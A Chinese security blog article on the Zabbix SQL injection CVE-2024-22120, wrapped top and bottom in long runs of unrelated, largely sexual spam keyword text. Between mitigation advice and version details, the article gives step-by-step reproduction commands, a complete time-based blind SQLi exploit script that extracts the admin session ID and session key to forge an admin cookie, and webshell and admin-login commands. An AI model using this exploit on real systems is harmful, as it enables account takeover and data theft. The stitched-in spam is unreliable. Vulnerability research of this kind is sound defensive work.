精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Zabbix zbx_auditlog_global_script SQL注入漏洞(CVE-2024-22120)

安全
Zabbix是一個(gè)開(kāi)源的監(jiān)控軟件工具,旨在幫助IT專(zhuān)業(yè)人士實(shí)時(shí)監(jiān)控和確保各種網(wǎng)絡(luò)服務(wù)、服務(wù)器及應(yīng)用程序的穩(wěn)定性和性能。它為監(jiān)控IT基礎(chǔ)設(shè)施提供了全面的解決方案,從網(wǎng)絡(luò)設(shè)備、服務(wù)器、數(shù)據(jù)庫(kù)到云服務(wù)和虛擬機(jī)均涵蓋在內(nèi)。

Zabbix是一個(gè)開(kāi)源的監(jiān)控軟件工具,旨在幫助IT專(zhuān)業(yè)人士實(shí)時(shí)監(jiān)控和確保各種網(wǎng)絡(luò)服務(wù)、服務(wù)器及應(yīng)用程序的穩(wěn)定性和性能。它為監(jiān)控IT基礎(chǔ)設(shè)施提供了全面的解決方案,從網(wǎng)絡(luò)設(shè)備、服務(wù)器、數(shù)據(jù)庫(kù)到云服務(wù)和虛擬機(jī)均涵蓋在內(nèi)。

Zabbix的主要特點(diǎn)包括:

  • 跨平臺(tái)支持:Zabbix可以在Linux、Windows、macOS等多種操作系統(tǒng)上部署,并且支持對(duì)多種硬件和軟件進(jìn)行監(jiān)控。
  • 基于代理與無(wú)代理監(jiān)控:Zabbix使用輕量級(jí)代理,可安裝在被監(jiān)控主機(jī)上進(jìn)行詳細(xì)監(jiān)控。同時(shí),它也支持通過(guò)SNMP、IPMI、JMX等協(xié)議進(jìn)行無(wú)代理監(jiān)控。
  • 靈活的告警機(jī)制:系統(tǒng)允許用戶(hù)根據(jù)特定條件設(shè)置自定義觸發(fā)器和通知,確保在問(wèn)題惡化前迅速響應(yīng)。
  • 數(shù)據(jù)可視化與報(bào)告:Zabbix提供了一個(gè)基于Web的界面,用戶(hù)可以定制儀表板、圖表和報(bào)告,以便直觀地分析和理解系統(tǒng)性能。
  • 自動(dòng)發(fā)現(xiàn)功能:能夠自動(dòng)檢測(cè)新設(shè)備或現(xiàn)有配置的變化,減少手動(dòng)配置的工作量。
  • 高度可擴(kuò)展性:設(shè)計(jì)用于處理大規(guī)模環(huán)境,能夠同時(shí)監(jiān)控成千上萬(wàn)的指標(biāo)。
  • 可擴(kuò)展性:用戶(hù)可以通過(guò)自定義腳本和與外部系統(tǒng)的集成來(lái)擴(kuò)展Zabbix的功能。
  • 開(kāi)源:作為開(kāi)源軟件,Zabbix得益于活躍的社區(qū)對(duì)其開(kāi)發(fā)的支持、故障排查幫助以及共享的自定義插件和集成。

由于其豐富的功能集、可擴(kuò)展性和相比于專(zhuān)有解決方案的成本效益,Zabbix常被企業(yè)環(huán)境所采用。無(wú)論企業(yè)規(guī)模大小,只要希望保持高可用性和優(yōu)化其IT資源的性能,Zabbix都是一個(gè)合適的選擇。

1.1漏洞簡(jiǎn)介

1.1.1漏洞情況

Zabbix Server組件中修復(fù)了一個(gè)SQL注入漏洞(CVE-2024-22120),其CVSS評(píng)分為9.1,目前該漏洞的PoC已公開(kāi)。Zabbix多個(gè)受影響版本中存在SQL注入漏洞,該漏洞存在于audit.c的zbx_auditlog_global_script函數(shù)中,由于clientip字段未經(jīng)清理,可能導(dǎo)致SQL時(shí)間盲注攻擊,經(jīng)過(guò)身份驗(yàn)證的威脅者可利用該漏洞從數(shù)據(jù)庫(kù)中獲取敏感信息,并可能導(dǎo)致將權(quán)限提升為管理員或?qū)е逻h(yuǎn)程代碼執(zhí)行。Zabbix服務(wù)器能夠執(zhí)行配置好的腳本命令。命令執(zhí)行后,會(huì)將審計(jì)記錄添加到“審計(jì)日志”中。由于“clientip”字段未經(jīng)過(guò)適當(dāng)清理,攻擊者有可能通過(guò)向“clientip”注入SQL來(lái)利用基于時(shí)間的盲注SQL注入漏洞。

1.1.2漏洞技術(shù)細(xì)節(jié)

SQL注入漏洞位于audit.c文件的zbx_auditlog_global_script函數(shù)中

2225: if (ZBX_DB_OK >zbx_db_execute("insert into auditlog(auditid,userid,username,clock,action,ip,resourceid,"
3226:"resourcename,resourcetype,recordsetid,details) values ('%s',"
4227: ZBX_FS_UI64 ",'%s',%d,'%d','%s',"ZBX_FS_UI64",'%s',%d,'%s','%s')", auditid_cuid, userid, username,(int)time(NULL),
5228:ZBX_AUDIT_ACTION_EXECUTE,clientip, hostid, hostname, AUDIT_RESOURCE_SCRIPT, auditid_cuid,
6229:details_esc))
7230: {
8231:   ret = FAIL;
9232: }

行2225開(kāi)始了一個(gè)SQL插入語(yǔ)句的構(gòu)造,用于將審計(jì)日志信息存入數(shù)據(jù)庫(kù)。

行2227中,變量clientip被直接插入到SQL語(yǔ)句中,而這個(gè)值在實(shí)際應(yīng)用中是由攻擊者控制的,沒(méi)有經(jīng)過(guò)適當(dāng)?shù)霓D(zhuǎn)義或驗(yàn)證。

由于clientip沒(méi)有得到適當(dāng)?shù)那謇砘蝌?yàn)證,攻擊者可以注入SQL查詢(xún),嘗試執(zhí)行惡意操作。

注意,由于環(huán)境或系統(tǒng)的限制,此漏洞可能僅支持時(shí)間盲SQL注入(Time-Based SQLi),這意味著攻擊者不能直接從響應(yīng)中獲取數(shù)據(jù),而是通過(guò)觀察延遲來(lái)推斷SQL查詢(xún)的結(jié)果(如示例exploit代碼所示)。

時(shí)間SQL盲注入的工作原理是,攻擊者構(gòu)造的查詢(xún)會(huì)包含等待特定時(shí)間的條件,根據(jù)數(shù)據(jù)庫(kù)響應(yīng)時(shí)間的不同,攻擊者可以判斷SQL查詢(xún)條件是否滿(mǎn)足,從而逐步提取或操作數(shù)據(jù)。這種類(lèi)型的SQL注入通常更難以利用,因?yàn)樗枰嗟慕换ズ蜁r(shí)間來(lái)推斷結(jié)果,但仍然是一個(gè)嚴(yán)重的安全風(fēng)險(xiǎn)。

1.2 影響范圍

Zabbix 6.0.0 - 6.0.27

Zabbix 6.4.0 - 6.4.12

Zabbix 7.0.0alpha1 - 7.0.0beta1

1.3解決方法

  • 升級(jí)到安全版本:檢查Zabbix官方網(wǎng)站發(fā)布的安全更新,并將Zabbix升級(jí)到修復(fù)了漏洞的版本。
  • 應(yīng)用安全補(bǔ)丁:如果無(wú)法立即升級(jí),可以應(yīng)用官方提供的安全補(bǔ)丁。
  • 審計(jì)配置:確保Zabbix的配置已經(jīng)更新,以防止未授權(quán)的訪問(wèn)。
  • 加強(qiáng)監(jiān)控:在Zabbix服務(wù)器上實(shí)施額外的安全措施,如增強(qiáng)監(jiān)控?cái)?shù)據(jù)庫(kù)的訪問(wèn)權(quán)限,使用更安全的認(rèn)證方法等。

目前該漏洞已經(jīng)修復(fù),受影響用戶(hù)可升級(jí)到Zabbix 6.0.28rc1、6.4.13rc1、7.0.0beta2或更高版本。下載鏈接:https://github.com/zabbix/zabbix/tags

1.4漏洞利用工具

https://github.com/W01fh4cker/CVE-2024-22120-RCE

https://support.zabbix.com/secure/attachment/236280/236280_zabbix_server_time_based_blind_sqli.py

1.5復(fù)現(xiàn)步驟

這里提供了三種不同的復(fù)現(xiàn)方法,第一種是實(shí)際利用過(guò)程,涉及使用附帶的漏洞利用程序提取管理員的session_id和session_key以偽造zbx_session,這些數(shù)據(jù)結(jié)合后可用于生成有效的管理員zbx_session。第二種是一個(gè)更簡(jiǎn)單的版本,僅展示基于時(shí)間的SQL注入的概念驗(yàn)證(PoC),您將觀察到三次請(qǐng)求以及后端分別延遲1秒、5秒和10秒的響應(yīng)。第三種是另一個(gè)簡(jiǎn)單的PoC,可以通過(guò)查看zabbix_server.log日志來(lái)驗(yàn)證。

1.5.1第一種驗(yàn)證方式

1.登錄ZABBIX確認(rèn)命令可執(zhí)行

首先,使用低權(quán)限用戶(hù)登錄。該用戶(hù)至少需要對(duì)一個(gè)主機(jī)有足夠的訪問(wèn)權(quán)限以對(duì)其執(zhí)行命令,如圖1所示。

圖片

圖1 具有Detect operating system權(quán)限用戶(hù)

 備注:在zabbix中具有Detect operating system腳本權(quán)限的只有管理員權(quán)限。普通用戶(hù)基本不具備該權(quán)限。

2.抓包獲取sessionid

通過(guò)burpsuite提取登錄用戶(hù)的“sessionid”,從zbx_session cookie中提取(先用Base64解碼,然后從JSON中獲取sessionid)。

圖片

3.找到hostid

提取任意可訪問(wèn)主機(jī)的hostid:操作路徑為“監(jiān)控->主機(jī)”,在響應(yīng)中找到host id。這個(gè)需要登錄zabbix,且能查看存在hosts才有。很多hostid為10084

圖片

4.執(zhí)行漏洞利用腳本

使用zabbix_server_time_based_blind_sqli.py腳本。如有需要,可使用--help查看幫助信息。通常情況下,僅需提供“ip”、“sessionid”和“hostid”即可執(zhí)行:

(1)Linux環(huán)境下執(zhí)行

python zabbix_server_time_based_blind_sqli.py --ip 192.168.223.128 --sid a6094b4f052fd133adc335382f0297f6 --hostid 10084 | grep "(+)"

(2)Windows環(huán)境下執(zhí)行

python zabbix_server_time_based_blind_sqli.py --ip 192.168.19.142 --sid 27c97210330ddbd542a31e74a57fadd9 --hostid 10084 | find "(+)"

漏洞利用可能需要大約10分鐘執(zhí)行,但每隔幾秒你會(huì)看到進(jìn)度更新。耗時(shí)較長(zhǎng)是由于基于時(shí)間的SQL注入需要在每次猜測(cè)后暫停(sleep),具體細(xì)節(jié)可在漏洞利用代碼中查看。通過(guò)管道命令grep ""過(guò)濾輸出,減少pwntools打印的大量調(diào)試信息。成功后,你將獲得管理員的session_id和session_key,這些用于生成zbx_session cookie的簽名,從而使你能夠創(chuàng)建管理員令牌。

注意:初次執(zhí)行腳本需要安裝pwn模塊,執(zhí)行命令pip install pwn

圖片

1.3.2第二種方法 - 基于時(shí)間的SQL注入PoC

構(gòu)造一個(gè)包含延時(shí)條件的SQL注入payload。通過(guò)配置腳本執(zhí)行或觸發(fā)器,使Zabbix服務(wù)器處理包含注入的請(qǐng)求。觀察連續(xù)三次請(qǐng)求后的響應(yīng)時(shí)間差異,確認(rèn)1秒、5秒和10秒的延遲,這是基于注入點(diǎn)響應(yīng)時(shí)間的直接證據(jù)。

1.準(zhǔn)備階段

完成前面步驟中的1至3步,即提取低權(quán)限用戶(hù)的sessionid和任意可訪問(wèn)的hostid。

2.執(zhí)行PoC Exploit

使用以下命令,記得替換為你自己的IP、sessionid和hostid:

python zabbix_server_time_based_blind_sqli.py LOG_LEVEL=error --ip 192.168.19.142 --sid a6094b4f052fd133adc335382f0297f6--hostid 10607 --poc

在這個(gè)PoC過(guò)程中,你將會(huì)觀察到以下特點(diǎn):

  • 發(fā)送3個(gè)請(qǐng)求。
  • 后端服務(wù)器分別在響應(yīng)前延遲1秒、5秒和10秒。
  • 通過(guò)請(qǐng)求與響應(yīng)的包,你可以明確地看到后端的延遲發(fā)生,這是驗(yàn)證基于時(shí)間的盲注的有效性。這種延遲證明了SQL查詢(xún)執(zhí)行時(shí)間被人為控制,是SQL注入存在的直接證據(jù)。

1.5.3第三種方法 - 日志驗(yàn)證PoC

準(zhǔn)備一個(gè)簡(jiǎn)單的SQL注入payload,設(shè)計(jì)為在日志文件中留下特定痕跡。

觸發(fā)腳本執(zhí)行,確保payload包含在請(qǐng)求中。檢查zabbix_server.log文件,尋找與注入payload相關(guān)的記錄,間接證明了SQL注入的可能性。

1.執(zhí)行第一種方法中的1-3步(提取低權(quán)限用戶(hù)sessionid和任何可用的hostid)

2.執(zhí)行漏洞利用(將ip、sessionid和hostid替換為你之前步驟中得到的)

python3 zabbix_server_time_based_blind_sqli.py  LOG_LEVEL=error --ip 192.168.223.128 --sid a6094b4f052fd133adc335382f0297f6 --hostid 10607 --poc2

檢查zabbix_server.log日志,你會(huì)看到查詢(xún)失敗了,但已注入了 ' + version() + ' ,并且其結(jié)果正確地顯示在了位置上。

圖片

zabbix_server_time_based_blind_sqli.py源代碼如下:

#!/usr/bin/python3
import json

import argparse
import pwnlib.context
from pwn import *
from datetime import datetime


def send_message(ip, port, sid, hostid, injection):
 zbx_header =
"ZBXD\x01".encode()

    #query
    # insert into auditlog (auditid,userid,username,clock,action,ip,resourceid,"
    #                  "resourcename,resourcetype,recordsetid,details)
values ('%s'," ZBX_FS_UI64 ",'%s',%d,'%d','%s',"
    #                  ZBX_FS_UI64
",'%s',%d,'%s','%s')
    #

    message = {
        "request":
"command",
        "sid": sid,
        "scriptid":
"3",
        "clientip": "' +
" + injection + "+ '",
        "hostid": hostid
    }

    message_json = json.dumps(message)
    #print("message=%s" %
message)
    message_length = struct.pack('<q',
len(message_json))
    message = zbx_header + message_length
+ message_json.encode()

    #print("Sending message %s"
% message)
    r = remote(ip, port, level='debug')
    r.send(message)
    response = r.recv(100)
    r.close()
    #print(response)


def extract_admin_session_id(ip, port, sid, hostid, time_false, time_true):
    session_id = ""
    token_length = 32
    for i in range(1, token_length+1):
        for c in string.digits +
"abcdef":
            print("\n(+) trying
c=%s" % c, end="", flush=True)
            before_query =
datetime.now().timestamp()
            query = "(select CASE
WHEN (ascii(substr((select sessionid from sessions where userid=1),%d,1))=%d)
THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
            send_message(ip, port, sid,
hostid, query)
            after_query =
datetime.now().timestamp()

            if time_true >
(after_query-before_query) > time_false:
                continue
            else:
                session_id += c
                print("(+)
session_id=%s" % session_id, end="", flush=True)
                break

    print("\n")

    return session_id


def extract_config_session_key(ip, port, sid, hostid, time_false, time_true):
    token = ""
    token_length = 32
    for i in range(1, token_length+1):
        for c in string.digits +
"abcdef":
            print("\n(+) trying
c=%s" % c, end="", flush=True)
            before_query =
datetime.now().timestamp()
            query = "(select CASE
WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d)
ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
            send_message(ip, port, sid,
hostid, query)
            after_query =
datetime.now().timestamp()

            if time_true >
(after_query-before_query) > time_false:
                continue
            else:
                token += c
                print("(+)
session_key=%s" % token, end="", flush=True)
                break

    print("\n")

    return token


def tiny_poc(ip, port, sid, hostid):
    print("(+) Running simple
PoC...\n", end="", flush=True)

    print("(+) Sleeping for 1
sec...\n", end="", flush=True)
    before_query =
datetime.now().timestamp()
    query = "(select sleep(1))"
    send_message(ip, port, sid, hostid,
query)
    after_query = datetime.now().timestamp()
    print("(+) Request time:
%d\n" % (after_query-before_query))

    print("(+) Sleeping for 5
sec...\n", end="", flush=True)
    before_query =
datetime.now().timestamp()
    query = "(select sleep(5))"
    send_message(ip, port, sid, hostid, query)
    after_query =
datetime.now().timestamp()
    print("(+) Request time:
%d\n" % (after_query - before_query))

    print("(+) Sleeping for 10
sec...\n", end="", flush=True)
    before_query =
datetime.now().timestamp()
    query = "(select sleep(10))"
    send_message(ip, port, sid, hostid,
query)
    after_query =
datetime.now().timestamp()
    print("(+) Request time:
%d\n" % (after_query - before_query))
def poc_to_check_in_zabbix_log(ip, port, sid, hostid):
    print("(+) Sending SQL request
for MySQL version...\n", end="", flush=True)
    query = "(version())"
    send_message(ip, port, sid, hostid,
query)
if __name__ == "__main__":
    parser =
argparse.ArgumentParser(description='Command-line option parser example')
    parser.add_argument("--false_time",
help="Time to sleep in case of wrong guess(make it smaller than true time,
default=1)", default="1")
   parser.add_argument("--true_time", help="Time to sleep in
case of right guess(make it bigger than false time, default=10)",
default="10")
    parser.add_argument("--ip",
help="Zabbix server IP")
   parser.add_argument("--port", help="Zabbix server
port(default=10051)", default="10051")
   parser.add_argument("--sid", help="Session ID of low
privileged user")
    parser.add_argument("--hostid",
help="hostid of any host accessible to user with defined sid")
   parser.add_argument("--poc", action='store_true',
help="Use this key if you want only PoC, PoC will simply make sleep 1,2,5
seconds on mysql server", default=False)
    parser.add_argument("--poc2",
action='store_true', help="Use this key to simply generate error in zabbix
logs, check logs later to see results", default=False)

    args = parser.parse_args()

    if args.poc:
        tiny_poc(args.ip, int(args.port),
args.sid, args.hostid)
    elif args.poc2:
       poc_to_check_in_zabbix_log(args.ip, int(args.port), args.sid,
args.hostid)
    else:
        print("(+) Extracting Zabbix
config session key...\n", end="", flush=True)
        config_session_key =
extract_config_session_key(args.ip, int(args.port), args.sid, args.hostid,
int(args.false_time), int(args.true_time))
        print("(+) config
session_key=%s\n" % config_session_key, end="", flush=True)

        print("(+) Extracting admin
session_id...")
        admin_sessionid = extract_admin_session_id(args.ip,
int(args.port), args.sid, args.hostid, int(args.false_time),
int(args.true_time))
        print("(+) admin
session_id=%s\n" % admin_sessionid, end="", flush=True)
        print("(+) session_key=%s,
admin session_id=%s. Now you can genereate admin zbx_cookie and sign it with
session_key" % (config_session_key, admin_sessionid))

1.5.4獲取Webshell

【CVE-2024-22120-Webshell(在多數(shù)情況下無(wú)法使用)】

如果你已經(jīng)擁有管理員權(quán)限用戶(hù)的session ID,請(qǐng)嘗試:

python CVE-2024-22120-Webshell.py --ip 192.168.198.136 --aid fe647173d7769d55a43f161a68b256e0 --hostid 10084 --file shell.php

否則,如果只有普通用戶(hù)session ID,請(qǐng)使用:

python CVE-2024-22120-Webshell.py --ip 192.168.198.136 --sid f026d1c7a3c36537cfe78fed35c7456a --hostid 10084 --shell shell.php

但是,由于執(zhí)行命令的用戶(hù)通常是zabbix用戶(hù),大多數(shù)情況下無(wú)法通過(guò)echo直接寫(xiě)入webshell,因?yàn)檫@受限于文件權(quán)限和Zabbix后臺(tái)的執(zhí)行上下文限制,使得直接創(chuàng)建或修改網(wǎng)頁(yè)文件變得困難。

圖片

1.5.5獲取后臺(tái)管理員權(quán)限

1.執(zhí)行CVE-2024-22120-LoginAsAdmin.py程序獲取cookie

python CVE-2024-22120-LoginAsAdmin.py --ip 192.168.19.142 --sid 58a1d35e74e90e1ca493d95e4092553c --hostid 10084

圖片

2.替換zbx_session

使用ctrl+i打開(kāi)chrome瀏覽器,找到“Application”-“Cookies”,找到目標(biāo)網(wǎng)站,將其中的zbx_session替換為工具獲取的。

圖片

3.直接獲取管理員權(quán)限

重新打開(kāi)一個(gè)頁(yè)面,刷新即可獲取管理員權(quán)限。

圖片

1.5.6注意事項(xiàng)

1.需要安裝pwn模塊

pip install pwn

2.默認(rèn)登錄賬號(hào)及密碼

Adminzabbix admin zabbix

3.安裝有zabbix環(huán)境的虛擬機(jī)

https://cdn.zabbix.com/zabbix/appliances/stable/6.0/6.0.20/zabbix_appliance-6.0.20-vmx.tar.gz

(1)登錄用戶(hù)賬號(hào)及密碼root/zabbix

(2)需要安裝net-tools

yum install net-tools

圖片

圖片

4.配置具備低權(quán)限用戶(hù)和特定要求的賬號(hào)及權(quán)限

參考文章https://forum.butian.net/share/3056配置具備低權(quán)限且有腳本權(quán)限的用戶(hù)。否則無(wú)法再現(xiàn)。

圖片

1.6總結(jié)

昨天得知zabbix存在RCE漏洞,開(kāi)始很興奮,結(jié)果一路復(fù)現(xiàn)過(guò)來(lái)需要一些條件的配合。漏洞雖然高危,但外網(wǎng)直接可以利用的可能性極低。在偶然的條件下才能達(dá)到目標(biāo)。具體條件:

1.具有低權(quán)限的用戶(hù)。

2.具備Detect operating system權(quán)限。默認(rèn)用戶(hù)都不具備該條件。

3.必須有hosts。

參考鏈接

https://support.zabbix.com/browse/ZBX-24505

https://git.zabbix.com/projects/ZBX/repos/zabbix/commits/c8ac414ff44

https://mp.weixin.qq.com/s/qUr58Dez4lnlaTyg2BilUg Zabbix SQLi(CVE-2024-22120)

https://forum.butian.net/share/3056淺聊CVE-2024-22120:Zabbix低權(quán)限SQL注入至RCE+權(quán)限繞過(guò)

責(zé)任編輯:龐桂玉 來(lái)源: 小兵搞安全
相關(guān)推薦

2024-12-04 13:33:43

2016-09-28 16:38:47

2023-12-08 09:00:00

漏洞攻擊

2009-10-25 13:32:09

2009-11-02 13:47:09

2021-09-16 09:05:45

SQL注入漏洞網(wǎng)絡(luò)攻擊

2010-10-22 15:18:18

SQL注入漏洞

2009-02-12 10:14:16

2013-01-10 16:12:02

Ruby on Rai漏洞

2025-05-13 08:28:00

漏洞終端安全系統(tǒng)安全

2025-01-22 12:47:06

2023-12-01 16:21:42

2010-09-08 13:42:06

2009-10-23 13:08:23

2012-04-12 15:06:44

2025-03-19 12:57:06

2018-03-29 10:16:04

2014-12-04 15:01:13

2022-06-14 09:00:21

漏洞補(bǔ)丁

2024-12-26 16:53:50

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

在线观看免费视频污| 爱情岛论坛亚洲入口| 中文字幕 自拍| 日韩经典一区| 亚洲欧美日韩综合aⅴ视频| 99re视频在线播放| 日韩黄色一级大片| 久久综合国产| 精品处破学生在线二十三| 能在线观看的av| 免费大片黄在线| www.亚洲精品| 国产日韩欧美91| 日本三级中文字幕| 成人激情在线| 亚洲二区在线播放视频| 在线观看国产一级片| 丰满的护士2在线观看高清| 久久综合久色欧美综合狠狠| 国产日韩欧美视频| 日韩 欧美 中文| 亚洲二区三区不卡| 亚洲视频视频在线| jjzz黄色片| 久久91视频| 色综合中文字幕| 免费在线看黄色片| 免费人成在线观看播放视频| 91亚洲国产成人精品一区二区三| 成人av电影天堂| 中文字幕在线日本| 国产精品五区| 久久久综合av| 紧身裙女教师波多野结衣| 国产精品密蕾丝视频下载| 精品日韩99亚洲| 欧美精品色视频| 日本欧美在线| 欧美性受极品xxxx喷水| 尤物av无码色av无码| 性xxxfreexxxx性欧美| 一区在线观看视频| 日韩偷拍一区二区| 日中文字幕在线| 丁香亚洲综合激情啪啪综合| 92裸体在线视频网站| 中文字幕欧美在线观看| 久久国产精品99国产| 午夜精品蜜臀一区二区三区免费| 日本妇女毛茸茸| 亚洲二区三区不卡| 久久亚洲精品国产亚洲老地址| 国产精品免费无码| 九九视频免费观看视频精品| 日韩精品亚洲精品| 极品粉嫩小仙女高潮喷水久久 | 五月婷婷六月激情| 成人精品小蝌蚪| 国产成人精品免费视频大全最热| 国产按摩一区二区三区| 国产精品一卡二卡| 91在线观看免费高清| 国产免费无遮挡| 国产剧情av麻豆香蕉精品| 91麻豆精品秘密入口| 国产夫绿帽单男3p精品视频| 国产精品123区| 不卡一卡2卡3卡4卡精品在| www.国产三级| 国产91精品免费| 国产在线精品一区二区中文| 五月婷婷综合久久| 国产无人区一区二区三区| 神马影院午夜我不卡| 在线视频二区| 亚洲三级在线看| 99热久久这里只有精品| 免费在线小视频| 在线观看欧美黄色| www.99r| 91麻豆精品| 亚洲精品一线二线三线| 99re久久精品国产| 国产在线日韩精品| 久久精品中文字幕免费mv| 欧美激情图片小说| 亚洲一区亚洲| 国产精品一区二区3区| 国产成人精品一区二三区四区五区| 国产凹凸在线观看一区二区| 久久综合精品一区| 日本在线观看网站| 亚洲午夜久久久久久久久久久| 噜噜噜久久亚洲精品国产品麻豆| 69堂精品视频在线播放| 欧美一区二区高清| 黄瓜视频污在线观看| 亚洲国产精品日韩专区av有中文| 欧美大片在线看免费观看| 日本特级黄色片| 国产精品自拍在线| 久热国产精品视频一区二区三区| 在线观看麻豆蜜桃| 午夜电影网一区| 在线观看国产福利| 少妇久久久久| 久久精品视频免费播放| 欧美日韩精品区| 久久99国产精品久久99果冻传媒| 国产精品制服诱惑| 免费在线观看av片| 色婷婷综合久久久久中文 | 国产成人无码精品| 久久精品国产免费| 久久久亚洲综合网站| 美女隐私在线观看| 欧美性少妇18aaaa视频| 1314成人网| sdde在线播放一区二区| 91国产中文字幕| 国产免费高清av| 久久精品一级爱片| 国产精品网站免费| 亚洲一区二区三区免费| 日韩在线视频免费观看高清中文| 欧美日韩一二三四区| 国产.欧美.日韩| 永久免费精品视频网站| 成人免费影院| 亚洲国产精彩中文乱码av| 91传媒免费观看| 视频在线观看91| 久久久久高清| 爱情岛亚洲播放路线| 日韩欧美黄色影院| 成人自拍小视频| 男女男精品视频网| 日本婷婷久久久久久久久一区二区| 99久久精品免费看国产小宝寻花| 欧美精品一二三| 日韩一级片在线免费观看| 亚洲专区免费| 麻豆久久久9性大片| a'aaa级片在线观看| 精品久久久久久亚洲综合网| 国产精品白嫩白嫩大学美女| 捆绑调教美女网站视频一区| 日韩一区国产在线观看| 快播电影网址老女人久久| 日韩国产高清污视频在线观看| 国产在线欧美在线| 成人一区二区三区在线观看| 97干在线视频| 盗摄牛牛av影视一区二区| 欧美激情videoshd| 肥臀熟女一区二区三区| 亚洲成人一二三| 50一60岁老妇女毛片| 亚洲少妇诱惑| 欧美一区二区三区成人久久片| jk漫画禁漫成人入口| 国产亚洲精品va在线观看| 欧美a视频在线观看| xfplay精品久久| 国产xxxxx视频| 成人在线国产| 国产综合香蕉五月婷在线| 国产传媒在线播放| 欧美成人一区二区三区在线观看| 九九视频免费看| 成a人片亚洲日本久久| 成人免费毛片网| 精品国产一区二区三区| 国产视频福利一区| 18网站在线观看| 亚洲福利小视频| 日韩免费av网站| 亚洲欧洲成人精品av97| 日本少妇一级片| 国产视频久久| 图片区小说区区亚洲五月| 欧美成人福利| 欧美极品美女电影一区| 日本亚洲欧美| 91麻豆精品国产综合久久久久久| 久久久精品91| 国产亚洲精久久久久久| 欧美视频国产视频| 伊人久久成人| 色狠狠久久av五月综合| 蜜桃在线一区| 青青久久av北条麻妃海外网| 免费网站成人| 日韩hd视频在线观看| 在线观看亚洲一区二区| 亚洲亚洲精品在线观看| 日本一级免费视频| 国产精品99久久久久久宅男| 成人在线观看黄| 伊人成综合网| 日韩精品电影网站| 亚洲日本一区二区三区在线| 国产999精品久久久| a级影片在线观看| 亚洲人成网7777777国产| 精品国产99久久久久久宅男i| 欧美日韩精品在线播放| 一级黄色片日本| 国产色婷婷亚洲99精品小说| 欧美午夜精品一区二区| 奇米在线7777在线精品| 成人一区二区免费视频| 91精品啪在线观看国产81旧版| 欧美极品视频一区二区三区| 日韩欧美久久| 国产精品亚洲自拍| 欧美美女日韩| 国内精品久久久久影院 日本资源| 在线免费看黄网站| 日韩av网址在线| 国内精品久久久久久久久久| 欧美日韩国产首页在线观看| 在线观看中文字幕视频| 一区二区三区不卡视频在线观看| 三区四区在线观看| 972aa.com艺术欧美| 91超薄肉色丝袜交足高跟凉鞋| 麻豆传媒一区二区三区| 日韩视频在线免费看| 亚洲精品在线二区| 国产人妻互换一区二区| 91嫩草亚洲精品| 日韩亚洲一区在线播放| 九九久久成人| 麻豆av一区二区| 老司机成人在线| 国产精品美女久久久久av福利| 精品一区91| 91夜夜未满十八勿入爽爽影院| 成人看片毛片免费播放器| 日本最新高清不卡中文字幕| 中文字幕成在线观看| 97久久伊人激情网| 99riav视频在线观看| 久久久久国产视频| 日日夜夜天天综合入口| 欧美裸体xxxx极品少妇| 二区三区在线观看| 不卡伊人av在线播放| 国产精品扒开做爽爽爽的视频| 日韩在线观看免费全| 日本蜜桃在线观看| 少妇精69xxtheporn| 欧美精品日韩少妇| 久久韩剧网电视剧| 黄色免费网站在线观看| 精品国内自产拍在线观看| 日本在线视频网| 久久成人18免费网站| av免费在线网站| 欧美激情久久久久| av资源在线播放| 国产91成人video| 鲁鲁在线中文| 日本午夜人人精品| 成人av色网站| 91精品久久久久久久久久 | 亚洲一区二区网站| 黄色影院一级片| 人人精品人人爱| 亚洲精品免费一区亚洲精品免费精品一区| 国内精品久久久久影院薰衣草| 亚洲av毛片在线观看| 成人免费看视频| 精品黑人一区二区三区观看时间| 国产亚洲美州欧州综合国| 乐播av一区二区三区| 国产精品久久久一本精品| 蜜臀久久精品久久久用户群体| 亚洲国产成人tv| www.久久视频| 欧美一个色资源| 青青草视频免费在线观看| 国产精品黄色在线观看| 欧美国产日韩一区二区| 暖暖在线中文免费日本| 午夜精品久久久久久久白皮肤 | 日本一区二区免费在线| 战狼4完整免费观看在线播放版| 亚洲天堂福利av| 伊人国产在线观看| 91国产精品成人| 精品美女www爽爽爽视频| 亚洲精品久久久久久下一站| 成人精品一区二区| 欧美激情精品久久久| 欲香欲色天天天综合和网| 成人久久一区二区| 神马香蕉久久| 2021狠狠干| 日韩精品91亚洲二区在线观看| 深夜福利网站在线观看| 久久亚洲精华国产精华液 | 国产精品久久久乱弄| 男女日批视频在线观看| 蜜臀精品一区二区三区在线观看| 国产调教打屁股xxxx网站| 国产亚洲精品aa| 久久久久亚洲av成人片| 欧美性xxxxxx少妇| 粉嫩av一区二区夜夜嗨| www.日韩av.com| 天天综合av| 亚洲r级在线观看| 国产成人黄色| 国产欧美日韩网站| 卡一卡二国产精品| 91网站免费入口| 午夜精彩视频在线观看不卡| 国产又粗又长视频| 亚洲三级av在线| 午夜激情电影在线播放| av资源站久久亚洲| 色喇叭免费久久综合网| 草草久久久无码国产专区| 国产成人三级在线观看| 91麻豆精品久久毛片一级| 色香蕉成人二区免费| 无套内谢的新婚少妇国语播放| 美女国内精品自产拍在线播放| 99只有精品| 欧洲视频一区二区三区| 99亚洲精品| av免费观看不卡| 夜夜嗨av一区二区三区网页| 91国偷自产中文字幕久久| 亚洲最新av在线网站| 中文字幕在线直播| 韩日午夜在线资源一区二区| 国产精品激情电影| 精产国品一二三区| 专区另类欧美日韩| 一级特黄色大片| 最近日韩中文字幕中文| 99久久综合国产精品二区| 欧美亚洲另类在线一区二区三区| 亚洲免费一区二区| 五十路六十路七十路熟婆| 亚洲国产精品一区二区www在线| 精品区在线观看| 欧美精品一区二区免费| 涩涩屋成人免费视频软件| 男女啪啪免费观看| 国产激情精品久久久第一区二区| 国产一二三四区| 91精品欧美综合在线观看最新| 黄色一级片在线观看| 91九色视频在线| 91精品国产乱码久久久久久| 日本黄色福利视频| ㊣最新国产の精品bt伙计久久| 国产又粗又猛又爽又黄的| 欧美成人激情视频| 日韩一区二区三区精品| 国产 日韩 欧美在线| 91蝌蚪porny九色| 日韩欧美在线观看免费| 中文字幕精品一区久久久久| 